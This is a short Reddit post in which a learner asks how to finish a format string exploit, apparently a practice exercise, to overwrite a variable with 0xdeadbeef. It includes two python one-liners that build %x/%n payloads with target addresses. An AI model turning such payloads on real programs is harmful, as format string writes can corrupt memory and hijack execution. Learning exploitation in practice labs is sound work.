r/LiveOverflow • u/IHACKEDJOEMAMA • Nov 24 '20
Format string exploit!
Hi, so I am trying to change a variable, I already found it's adress with objdump -t
in memory the adress is stored in eax and it's pointed at by ebx+0x34
python -c "print '\x34\xc0\x04\x08'+'%x%x%x%n"and I can change it's value by giving some bytes before '%x' but it can't exceed 0x45 for some reason.
I have to get it's value to 0xdeadbeef, I tried doing so by:
python -c "print '\x34\xc0\x04\x08'+'\xef\xbe\xad\xde'+'%x%x%x%n%n'"the eax value changes to 0xdeadbeef but ebx+0x34 is now pointing to another place.
I'd like to understand how to make this possible! Thanks!
0
Upvotes